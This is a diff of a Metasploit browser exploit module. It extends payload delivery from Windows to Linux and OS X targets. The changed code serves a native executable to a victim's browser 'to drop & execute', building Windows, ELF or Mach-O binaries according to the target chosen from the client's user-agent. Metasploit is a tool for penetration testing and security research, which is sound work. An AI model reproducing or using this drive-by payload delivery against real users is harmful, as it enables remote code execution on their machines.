@@ -33,12 +33,15 @@ def initialize(info = {})
33
33
with script access should be able to trigger it.
34
34
} ,
35
35
'License' => MSF_LICENSE ,
36
- 'Platform' => 'win' ,
37
36
'Targets' =>
38
37
[
39
- [ 'Automatic' , { } ] ,
40
- [
41
- 'Windows x86 (Native Payload)' ,
38
+ [ 'Automatic' ,
39
+ {
40
+ 'Platform' => [ 'win' , 'linux' , 'osx' ] ,
41
+ 'Arch' => ARCH_X86
42
+ }
43
+ ] ,
44
+ [ 'Windows x86 (Native Payload)' ,
42
45
{
43
46
'Platform' => 'win' ,
44
47
'Arch' => ARCH_X86
@@ -61,7 +64,8 @@ def initialize(info = {})
61
64
'Author' =>
62
65
[
63
66
'Marius Mlynski' , # discovery & bug report
64
- 'joev' # metasploit module
67
+ 'joev' , # metasploit module
68
+ 'sinn3r' # metasploit fu
65
69
] ,
66
70
'References' =>
67
71
[
@@ -98,7 +102,7 @@ def on_request_uri(cli, request)
98
102
elsif request . uri =~ /\. bin/
99
103
# send the binary payload to drop & exec
100
104
print_status ( "Child frame navigated. Sending binary payload to drop & execute." )
101
- send_response ( cli , dropped_file_contents ( cli ) , { 'Content-Type' => 'application/octet-stream' } )
105
+ send_response ( cli , dropped_file_contents ( cli , target ) , { 'Content-Type' => 'application/octet-stream' } )
102
106
else
103
107
# send initial HTML page
104
108
print_status ( "Target selected: #{ target . name } " )
@@ -109,9 +113,22 @@ def on_request_uri(cli, request)
109
113
end
110
114
111
115
# @return [String] the encoded executable for dropping onto the client's machine
112
- def dropped_file_contents ( cli )
116
+ def dropped_file_contents ( cli , target )
113
117
return if ( ( p = regenerate_payload ( cli ) ) == nil )
114
- generate_payload_exe ( { :code => p . encoded } )
118
+ opts = target . opts
119
+ exe = ''
120
+
121
+ case target . name
122
+ when /windows/i
123
+ opts = opts . merge ( { :code => p . encoded } )
124
+ exe = generate_payload_exe ( opts )
125
+ when /linux/i
126
+ exe = Msf ::Util ::EXE . to_linux_x86_elf ( framework , p . encoded , opts )
127
+ when /os x/i
128
+ exe = Msf ::Util ::EXE . to_osx_x86_macho ( framework , p . encoded , opts )
129
+ end
130
+
131
+ return exe
115
132
end
116
133
117
134
# @return [Msf::Module::Target] that matches the client's user-agent header
0 commit comments